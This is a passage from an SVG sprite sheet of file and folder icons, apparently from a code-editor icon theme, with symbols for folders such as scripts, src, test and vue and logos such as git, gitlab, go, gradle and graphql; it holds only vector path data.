3.601-1.05.118-1.603-.289-1.74-.44-.145-.16-.166-.167-.22-.137-.088.049-.033.19 0 .274.082.214.42.594.995.782.506.166 1.739.258 3.23-.319 1.669-.646 2.972-2.443 2.59-3.944zm-7.103 7.783a2.2 2.2 0 0 1-.065 1.413 2.405 2.405 0 0 1-.453.704c-.5.546-1.198.752-1.497.579-.323-.188-.161-.956.418-1.568.623-.66 1.52-1.083 1.52-1.083l-.002-.002.079-.043z" fill="#ec407a" fill-rule="nonzero" stroke="#ec407a" stroke-width=".5199012000000001"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-scripts" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#546e7a" fill-rule="nonzero"/><path d="M18.466 20.241c.69 0 1.259-.568 1.259-1.258v-8.18H15.32a.632.632 0 0 0-.63.63v6.292h-1.887v-6.922c0-1.036.852-1.888 1.888-1.888h6.921c1.036 0 1.888.852 1.888 1.888v.63h-2.517v8.18a1.896 1.896 0 0 1-1.888 1.887h-6.292a1.896 1.896 0 0 1-1.888-1.888v-.629h6.293c0 .69.568 1.258 1.258 1.258z" fill-rule="nonzero" fill="#cfd8dc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-scripts-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#546e7a" fill-rule="nonzero"/><path d="M18.466 20.241c.69 0 1.259-.568 1.259-1.258v-8.18H15.32a.632.632 0 0 0-.63.63v6.292h-1.887v-6.922c0-1.036.852-1.888 1.888-1.888h6.921c1.036 0 1.888.852 1.888 1.888v.63h-2.517v8.18a1.896 1.896 0 0 1-1.888 1.887h-6.292a1.896 1.896 0 0 1-1.888-1.888v-.629h6.293c0 .69.568 1.258 1.258 1.258z" fill-rule="nonzero" fill="#cfd8dc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-src" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#4caf50" fill-rule="nonzero"/><g fill="#c8e6c9" transform="translate(2.065 -.225) scale(.70678)"><path d="M19.146 30.989a.902.902 0 0 1-.207-.025 1.045 1.045 0 0 1-.726-1.213l2.709-14.431c.049-.279.209-.525.444-.683a.891.891 0 0 1 .7-.122c.519.152.837.684.727 1.213L20.077 30.16a1.032 1.032 0 0 1-.442.681.895.895 0 0 1-.489.148zM24.578 28.944h-.068a.932.932 0 0 1-.668-.377 1.104 1.104 0 0 1 .1-1.419l4.658-4.553-4.638-4.239a1.105 1.105 0 0 1-.141-1.416.938.938 0 0 1 .661-.4.9.9 0 0 1 .709.237l5.47 5c.386.372.448.974.144 1.416a1.05 1.05 0 0 1-.142.163l-5.447 5.324a.913.913 0 0 1-.638.264zM16.423 28.947a.917.917 0 0 1-.639-.267l-5.452-5.327a.874.874 0 0 1-.132-.153 1.097 1.097 0 0 1 .141-1.414l5.471-5a.882.882 0 0 1 .7-.238.939.939 0 0 1 .665.4 1.104 1.104 0 0 1-.14 1.417L12.4 22.6l4.659 4.551c.377.382.42.988.1 1.419a.928.928 0 0 1-.669.377z" fill-rule="nonzero"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-src-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#4caf50"/><g fill="#c8e6c9" fill-rule="evenodd" transform="translate(2.064 -.224) scale(.70678)"><path d="M19.146 30.989a.902.902 0 0 1-.207-.025 1.045 1.045 0 0 1-.726-1.213l2.709-14.431c.049-.279.209-.525.444-.683a.891.891 0 0 1 .7-.122c.519.152.837.684.727 1.213L20.077 30.16a1.032 1.032 0 0 1-.442.681.895.895 0 0 1-.489.148zM24.578 28.944h-.068a.932.932 0 0 1-.668-.377 1.104 1.104 0 0 1 .1-1.419l4.658-4.553-4.638-4.239a1.105 1.105 0 0 1-.141-1.416.938.938 0 0 1 .661-.4.9.9 0 0 1 .709.237l5.47 5c.386.372.448.974.144 1.416a1.05 1.05 0 0 1-.142.163l-5.447 5.324a.913.913 0 0 1-.638.264zM16.423 28.947a.917.917 0 0 1-.639-.267l-5.452-5.327a.874.874 0 0 1-.132-.153 1.097 1.097 0 0 1 .141-1.414l5.471-5a.882.882 0 0 1 .7-.238.939.939 0 0 1 .665.4 1.104 1.104 0 0 1-.14 1.417L12.4 22.6l4.659 4.551c.377.382.42.988.1 1.419a.928.928 0 0 1-.669.377z" fill-rule="nonzero"/></g></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-test" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#1de9b6" fill-rule="nonzero"/><path d="M14 8.097v1.39h.695v9.732A2.794 2.794 0 0 0 17.475 22a2.794 2.794 0 0 0 2.781-2.78V9.486h.695v-1.39H14m2.78 9.732c-.417 0-.695-.278-.695-.695 0-.417.278-.695.696-.695.417 0 .695.278.695.695 0 .417-.278.695-.695.695m1.39-2.78c-.417 0-.695-.278-.695-.696 0-.417.278-.695.695-.695.417 0 .695.278.695.695 0 .418-.278.696-.695.696m.695-3.476h-2.78V9.487h2.78v2.086z" fill="#00897b" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-test-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#1de9b6" fill-rule="nonzero"/><path d="M14 8.097v1.39h.695v9.732A2.794 2.794 0 0 0 17.475 22a2.794 2.794 0 0 0 2.781-2.78V9.486h.695v-1.39H14m2.78 9.732c-.417 0-.695-.278-.695-.695 0-.417.278-.695.696-.695.417 0 .695.278.695.695 0 .417-.278.695-.695.695m1.39-2.78c-.417 0-.695-.278-.695-.696 0-.417.278-.695.695-.695.417 0 .695.278.695.695 0 .418-.278.696-.695.696m.695-3.476h-2.78V9.487h2.78v2.086z" fill="#00897b" fill-rule="nonzero"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-tools" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#1e88e5" fill-rule="nonzero"/><path d="M21.043 15.266a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141-2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-3.569 0a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141 2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m3.925-6.424a6.424 6.424 0 0 0-6.423 6.424 6.424 6.424 0 0 0 6.423 6.424 1.07 1.07 0 0 0 1.071-1.07c0-.28-.107-.53-.278-.715a1.105 1.105 0 0 1-.271-.713 1.07 1.07 0 0 1 1.07-1.071h1.263a3.569 3.569 0 0 0 3.57-3.569c0-3.154-2.877-5.71-6.425-5.71z" fill="#bbdefb" stroke-width=".714"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-tools-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#1e88e5"/><path d="M21.043 15.266a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141-2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-3.569 0a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m-2.141 2.855a1.07 1.07 0 0 1-1.07-1.07 1.07 1.07 0 0 1 1.07-1.071 1.07 1.07 0 0 1 1.07 1.07 1.07 1.07 0 0 1-1.07 1.071m3.925-6.424a6.424 6.424 0 0 0-6.423 6.424 6.424 6.424 0 0 0 6.423 6.424 1.07 1.07 0 0 0 1.071-1.07c0-.28-.107-.53-.278-.715a1.105 1.105 0 0 1-.271-.713 1.07 1.07 0 0 1 1.07-1.071h1.263a3.569 3.569 0 0 0 3.57-3.569c0-3.154-2.877-5.71-6.425-5.71z" fill="#bbdefb" stroke-width=".714"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-views" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ff8a65" fill-rule="nonzero"/><path d="M12.487 21.868L11.384 9.5H23.5l-1.104 12.366-4.961 1.375-4.948-1.373zm4.464-3.2l-3.926-2.36v-.855l3.926-2.361v1.323l-2.504 1.465 2.504 1.465v1.323zm.982-.001v-1.323l2.522-1.464-2.522-1.464v-1.323l3.926 2.35v.874l-3.926 2.35z" fill="#e44d26"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-views-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ff8a65" fill-rule="nonzero"/><path d="M12.487 21.868L11.384 9.5H23.5l-1.104 12.366-4.961 1.375-4.948-1.373zm4.464-3.2l-3.926-2.36v-.855l3.926-2.361v1.323l-2.504 1.465 2.504 1.465v1.323zm.982-.001v-1.323l2.522-1.464-2.522-1.464v-1.323l3.926 2.35v.874l-3.926 2.35z" fill="#e44d26"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vscode" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#42a5f5" fill-rule="nonzero"/><path d="M20.811 8.52l-5.988 5.506-3.346-2.522-1.383.805 3.298 3.03-3.298 3.032 1.383.807 3.346-2.522 5.988 5.503 2.921-1.419V9.94zm0 3.622v6.396l-4.245-3.198z" fill="#bbdefb" stroke-width=".974"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vscode-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#42a5f5" fill-rule="nonzero"/><path d="M20.81 8.52l-5.988 5.506-3.346-2.522-1.384.805 3.3 3.03-3.3 3.032 1.384.807 3.346-2.522 5.988 5.503 2.921-1.419V9.94zm0 3.621v6.397l-4.245-3.198z" fill="#bbdefb" stroke-width=".974"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vue" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#009688" fill-rule="nonzero"/><g transform="translate(8.459 6.362) scale(.69572)"><path d="M1.821 4.15l10.21 17.618L22.239 4.235v-.084h-7.692l-2.434 4.178-2.422-4.178z" fill="#41b883"/><path d="M5.937 4.15l6.152 10.616 6.18-10.617h-3.722l-2.434 4.179-2.422-4.179z" fill="#35495e"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-vue-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#009688"/><g transform="translate(8.458 6.362) scale(.69572)"><path d="M1.821 4.15l10.21 17.618L22.239 4.235v-.084h-7.692l-2.434 4.178-2.422-4.178z" fill="#41b883"/><path d="M5.937 4.15l6.152 10.616 6.18-10.617h-3.722l-2.434 4.179-2.422-4.179z" fill="#35495e"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-webpack" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#03a9f4" fill-rule="nonzero"/><g transform="translate(9.192 7.48) scale(.66328)"><path d="M19.376 15.988l-7.708 4.45-7.709-4.45v-8.9l7.709-4.451 7.708 4.45z" fill="#fff" fill-opacity=".785"/><path d="M12.286 1.98c-.21 0-.41.059-.57.179l-7.9 4.44c-.32.17-.53.5-.53.88v9c0 .38.21.711.53.881l7.9 4.44c.16.12.36.18.57.18s.41-.06.57-.18l7.9-4.44c.32-.17.53-.5.53-.88v-9c0-.38-.21-.712-.53-.882l-7.9-4.44a.945.945 0 0 0-.57-.179zm0 2.15l7 3.94v2.103h-.016v5.177h.016v.54l-7 3.939-7-3.94V8.07zm0 2.08l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#8ed6fb"/><path d="M12.286 6.21l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#1c78c0"/></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-webpack-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#03a9f4"/><g transform="translate(9.193 7.48) scale(.66328)"><path d="M19.376 15.988l-7.708 4.45-7.709-4.45v-8.9l7.709-4.451 7.708 4.45z" fill="#fff" fill-opacity=".785"/><path d="M12.286 1.98c-.21 0-.41.059-.57.179l-7.9 4.44c-.32.17-.53.5-.53.88v9c0 .38.21.711.53.881l7.9 4.44c.16.12.36.18.57.18s.41-.06.57-.18l7.9-4.44c.32-.17.53-.5.53-.88v-9c0-.38-.21-.712-.53-.882l-7.9-4.44a.945.945 0 0 0-.57-.179zm0 2.15l7 3.94v2.103h-.016v5.177h.016v.54l-7 3.939-7-3.94V8.07zm0 2.08l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#8ed6fb"/><path d="M12.286 6.21l-4.9 2.83 4.9 2.83 4.9-2.83zm-5 5.08v3.58l4 2.309v-3.58zm10 0l-4 2.308v3.58l4-2.308z" fill="#1c78c0"/></g></symbol><symbol viewBox="0 0 24 24" id="font" xmlns="http://www.w3.org/2000/svg"><path d="M9.62 12L12 5.67 14.37 12M11 3L5.5 17h2.25l1.12-3h6.25l1.13 3h2.25L13 3h-2z" fill="#f44336"/></symbol><symbol viewBox="0 0 500 500" id="fsharp" xmlns="http://www.w3.org/2000/svg"><path d="M235.906 36.66L21.963 250.601l213.943 213.943v-84.36L106.209 250.487l129.697-129.696z" fill="#378bba" stroke-width="14.706"/><path d="M235.906 156.614l-93.622 93.62 93.622 93.622z" fill="#378bba" stroke-width="15.006"/><path d="M263.417 36.64L477.36 250.583 263.417 464.526v-84.36l129.696-129.697-129.696-129.696z" fill="#30b9db" stroke-width="14.706"/></symbol><symbol viewBox="0 0 152.99 160.01" id="fusebox" xmlns="http://www.w3.org/2000/svg"><defs id="fkdefs4"><style id="fkstyle2">.fkcls-1{fill:#fff}.fkcls-2{fill:#515151}.fkcls-3{fill:#1d79bf}.fkcls-4{fill:#383838}</style></defs><title id="fktitle6">Asset 3</title><g id="fkLayer_2" data-name="Layer 2" transform="matrix(.87285 0 0 .87285 10.17 10.175)"><g id="fkFuse_Box" data-name="Fuse Box"><g id="fkLOGO"><path class="fkcls-1" id="fkpolygon8" fill="#fff" d="M76.56 2.19l74.22 24.93-7.7 87.77-65.41 42.66-69.79-43.93-5.7-86.13z"/><path class="fkcls-2" d="M77.69 160L5.87 114.81 0 26 76.55 0 153 25.67l-7.94 90.4zM9.88 112.43l67.77 42.66 63.45-41.39 7.47-85.13-72-24.18L4.36 28.95z" id="fkpath10" fill="#515151"/><path class="fkcls-3" id="fkpolygon12" fill="#1d79bf" d="M76.4 148.8V61.68l66.93-29.82-5.99 78.77z"/><path id="fkF" class="fkcls-4" fill="#383838" d="M76.4 148.8l-60.35-37.39L9.63 31.8 76.4 61.68z"/><path class="fkcls-1" d="M25.58 52.73l.54 15.93 37.35 18.18.12 14.69-37-18.21 1.64 37.1-14.56-9-5.05-80.55 67.79 30.82v15.46z" id="fkpath15" fill="#fff"/><path class="fkcls-1" d="M135.91 90.77c-.08 13.12-6.33 26.59-16.77 33.12l-42.8 27.93V61.71l42.27-18.84c5.16-2.41 9.51-1.43 12.4 3.11 1.9 3 2.89 7.23 2.86 12.21A35.69 35.69 0 0 1 129.34 76c4.29 2 6.66 6.55 6.57 14.77zM123 63.76c0-4.64-2-6.93-4.92-5.45l-29 14.48L89 90l29.44-15.59c2.5-1.32 4.56-5.91 4.56-10.65zM125.15 96c0-5.71-2.42-8.24-6.55-5.93L89 106.64v19.58l29.34-17.46c4.43-2.64 6.79-7.27 6.81-12.76z" id="fkpath17" fill="#fff"/><path id="fkTOP" class="fkcls-4" fill="#383838" d="M76.4 8.82L9.71 31.77l109.77 2.38-84.02 9.21L76.4 61.68l20.76-9.25-27.73-1.37 49.78-8.46 24.12-10.74z"/></g></g></g></symbol><symbol viewBox="0 0 24 24" id="git" xmlns="http://www.w3.org/2000/svg"><path d="M2.6 10.59L8.38 4.8l1.69 1.7c-.24.85.15 1.78.93 2.23v5.54c-.6.34-1 .99-1 1.73a2 2 0 0 0 2 2 2 2 0 0 0 2-2c0-.74-.4-1.39-1-1.73V9.41l2.07 2.09c-.07.15-.07.32-.07.5a2 2 0 0 0 2 2 2 2 0 0 0 2-2 2 2 0 0 0-2-2c-.18 0-.35 0-.5.07L13.93 7.5a1.98 1.98 0 0 0-1.15-2.34c-.43-.16-.88-.2-1.28-.09L9.8 3.38l.79-.78c.78-.79 2.04-.79 2.82 0l7.99 7.99c.79.78.79 2.04 0 2.82l-7.99 7.99c-.78.79-2.04.79-2.82 0L2.6 13.41c-.79-.78-.79-2.04 0-2.82z" fill="#e64a19"/></symbol><symbol viewBox="0 0 494 455" id="gitlab" xmlns="http://www.w3.org/2000/svg"><title>logo</title><defs><path id="fma" d="M0 1173.3h2000V0H0v1173.3z"/></defs><g transform="matrix(.88256 0 0 -.88256 -286.767 742.766)" fill="none" fill-rule="evenodd"><mask id="fmb" fill="#fff"><use width="100%" height="100%" xlink:href="#fma"/></mask><g><g transform="translate(358.67 358.67)"><path d="M492.532 195.445l-27.559 84.815-54.617 168.1c-2.81 8.648-15.045 8.648-17.856 0l-54.619-168.1h-181.37l-54.62 168.1c-2.81 8.648-15.045 8.648-17.856 0l-54.617-168.1-27.557-84.815a18.775 18.775 0 0 1 6.82-20.992l238.51-173.29 238.51 173.29a18.777 18.777 0 0 1 6.82 20.992" fill="#fc6d26"/><path d="M247.2 1.16l90.684 279.1h-181.37z" fill="#e24329"/><path d="M247.201 1.16l-90.684 279.09H29.427z" fill="#fc6d26"/><path d="M29.422 280.256L1.862 195.44a18.774 18.774 0 0 1 6.822-20.991L247.194 1.16z" fill="#fca326"/><path d="M29.422 280.26h127.09l-54.619 168.1c-2.81 8.65-15.047 8.65-17.856 0z" fill="#e24329"/><path d="M247.2 1.16l90.684 279.09h127.09z" fill="#fc6d26"/><path d="M464.98 280.256l27.559-84.815a18.774 18.774 0 0 0-6.821-20.991L247.208 1.16z" fill="#fca326"/><path d="M464.97 280.26H337.88l54.619 168.1c2.81 8.65 15.047 8.65 17.856 0z" fill="#e24329"/></g></g></g></symbol><symbol viewBox="0 0 24 24" id="go" xmlns="http://www.w3.org/2000/svg"><path d="M10.575 1.695c-2.634 0-4.756 2.453-4.756 5.502v4.6l-.027-.003v4.71c0 3.05 2.123 5.502 4.757 5.502h2.286c2.634 0 4.757-2.453 4.757-5.502v-4.6a5.1 5.1 0 0 0 .026.003v-4.71c0-3.049-2.122-5.502-4.756-5.502h-2.287z" fill="#73cddc"/><rect width="2.289" height="3.335" x="-1.178" y="6.092" ry="1.125" transform="matrix(.4849 -.87457 .85979 .51065 0 0)" fill="#73cddc"/><rect width="2.297" height="3.39" x="10.261" y="-15.076" ry="1.143" transform="matrix(.44646 .8948 -.89204 .45195 0 0)" fill="#73cddc"/><circle cx="9.267" cy="5.13" r="2.054" fill="#fff" stroke="#5e5d5b" stroke-width=".1"/><circle cx="14.214" cy="5.116" r="2.054" fill="#fff" stroke="#5e5d5b" stroke-width=".1"/><ellipse cx="8.039" cy="5.051" rx=".792" ry=".901" fill="#030d18"/><path d="M11.792 9.556l.763.138a.403.689 0 0 1 .008.138.403.689 0 0 1-.402.69.403.689 0 0 1-.404-.69.403.689 0 0 1 .035-.276z" fill="#fff" stroke="#fff" stroke-width=".155"/><ellipse cx="8.51" cy="5.365" rx=".138" ry=".166" fill="#fff"/><ellipse cx="12.945" cy="5.189" rx=".792" ry=".901" fill="#030d18"/><ellipse cx="13.414" cy="5.446" rx=".138" ry=".166" fill="#fff"/><ellipse cx="-12.982" cy="-3.409" rx=".708" ry="1.026" transform="rotate(-129.403)" fill="#f6d2a1" stroke-width=".4"/><path d="M11.772 9.553l-.757.135a.4.672 0 0 0-.008.135.4.672 0 0 0 .4.672.4.672 0 0 0 .4-.672.4.672 0 0 0-.035-.27z" fill="#fff" stroke="#fff" stroke-width=".153"/><ellipse cx="1.841" cy="-21.563" rx=".707" ry="1.026" transform="scale(1 -1) rotate(50.597)" fill="#f6d2a1" stroke-width=".4"/><ellipse cx="-17.281" cy="-21.784" rx=".864" ry="1.27" transform="matrix(.3054 -.95222 -.97065 -.2405 0 0)" fill="#f6d2a1" stroke-width=".4"/><ellipse cx="22.885" cy="2.587" rx=".864" ry="1.27" transform="matrix(.22652 .974 .95652 -.29167 0 0)" fill="#f6d2a1" stroke-width=".4"/><path d="M10.708 8.392a.594.594 0 0 0-.594.597v.115c0 .331.264.598.594.598h.386a.973.772 0 0 1 .697-.235.973.772 0 0 1 .698.235h.334c.33 0 .594-.267.594-.598V8.99a.595.595 0 0 0-.594-.597h-2.115z" fill="#f6d2a1" stroke="#657075" stroke-width=".1"/><ellipse cx="11.734" cy="8.203" rx="1.208" ry=".68" fill="#030d18" stroke="#fff" stroke-width=".162"/></symbol><symbol viewBox="0 0 24 24" id="gradle" xmlns="http://www.w3.org/2000/svg"><path d="M21.718 5.503c-.731-1.315-2.04-1.708-2.963-1.727-1.133-.023-2.065.605-1.888 1.017.037.088.25.55.38.741.19.275.527.064.646 0 .353-.187.73-.248 1.16-.198.409.048.954.3 1.319 1.001.859 1.652-1.794 5.05-5.114 2.697-3.32-2.353-6.548-1.574-8.01-1.1-1.462.475-2.135.952-1.556 2.055.785 1.498.524 1.038 1.285 2.28 1.21 1.97 3.856-.908 3.856-.908-1.972 2.906-3.662 2.204-4.31 1.188a15.864 15.864 0 0 1-1.038-1.97c-4.993 1.76-3.642 9.534-3.642 9.534h2.48c.632-2.862 2.892-2.757 3.28 0h1.892c1.673-5.59 5.914 0 5.914 0h2.466c-.69-3.812 1.388-5.01 2.697-7.246 1.31-2.235 2.551-4.969 1.146-7.364zm-6.362 7.362c-1.304-.426-.837-1.723-.837-1.723s1.139.368 2.68.87c-.09.403-.856 1.175-1.843.853z" fill="#0097a7" stroke-width=".47"/></symbol><symbol preserveAspectRatio="xMidYMid" viewBox="0 0 300 300" id="graphcool" xmlns="http://www.w3.org/2000/svg"><path d="M246.886 107.727c-12.237-6.892-27.616 2.1-30.081 3.646l-52.834 29.965c-7.8-6.196-18.914-5.933-26.412.625-7.499 6.558-9.24 17.537-4.14 26.094 5.102 8.556 15.588 12.246 24.923 8.768 9.335-3.478 14.852-13.129 13.111-22.937l52.688-29.9.321-.196c3.464-2.188 11.5-5.462 15.256-3.34 2.706 1.524 4.252 6.629 4.376 14.148h-.066v66.092a17.313 17.313 0 0 1-8.635 14.95l-75.739 43.755a17.312 17.312 0 0 1-17.261 0l-75.74-43.756a17.312 17.312 0 0 1-8.634-14.95V113.22c.01-6.165 3.3-11.86 8.634-14.95l68.549-39.562c6.522 7.482 17.451 9.25 26 4.206s12.283-15.468 8.886-24.794c-3.397-9.327-12.962-14.904-22.751-13.27-9.79 1.636-17.022 10.02-17.204 19.944L59.397 85.632a31.932 31.932 0 0 0-15.978 27.588v87.454a31.933 31.933 0 0 0 15.927 27.602l75.74 43.755a31.934 31.934 0 0 0 31.846 0l75.74-43.755a31.933 31.933 0 0 0 15.927-27.58V137.12h.05c.373-14.913-3.616-24.794-11.762-29.389z" fill="#27ae60" stroke="#27ae60" stroke-width="7.883622079999999"/></symbol><symbol viewBox="0 0 400 400" id="graphql" xmlns="http://www.w3.org/2000/svg"><path d="M67.008 293.022l-13.143-7.588L200.282 31.839l13.143 7.588z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M50.855 265.174H343.69v15.177H50.855z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M203.122 358.269L56.649 273.7l7.589-13.143 146.472 84.568zm127.24-220.407L183.889 53.293l7.589-13.143 146.472 84.568z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M64.278 137.803l-7.588-13.142 146.472-84.568 7.588 13.143z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M327.661 293.025L181.244 39.43l13.143-7.589 146.417 253.596zM62.466 114.597h15.176v169.136H62.466zm254.528 0h15.176v169.136h-15.176z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M200.538 351.845l-6.628-11.481L321.3 266.812l6.629 11.48z" fill="#ec407a" stroke-width="6.803" stroke="#ec407a"/><path d="M352.284 288.67c-8.777 15.268-28.342 20.48-43.61 11.703-15.268-8.777-20.48-28.342-11.703-43.61 8.777-15.268 28.342-20.48 43.61-11.703 15.36 8.869 20.57 28.342 11.703 43.61M97.574 141.567c-8.778 15.268-28.343 20.48-43.61 11.703-15.269-8.777-20.48-28.342-11.703-43.61 8.777-15.268 28.342-20.48 43.61-11.703 15.268 8.869 20.479 28.342 11.702 43.61M42.353 288.67c-8.777-15.268-3.566-34.741 11.702-43.61 15.268-8.776 34.741-3.565 43.61 11.703 8.776 15.268 3.565 34.741-11.703 43.61-15.36 8.776-34.833 3.565-43.61-11.703m254.71-147.103c-8.776-15.268-3.565-34.741 11.703-43.61 15.268-8.776 34.742-3.565 43.61 11.703 8.777 15.268 3.566 34.741-11.702 43.61-15.268 8.776-34.833 3.565-43.61-11.703m-99.745 236.608c-17.645 0-31.907-14.262-31.907-31.907s14.262-31.907 31.907-31.907 31.907 14.262 31.907 31.907c0 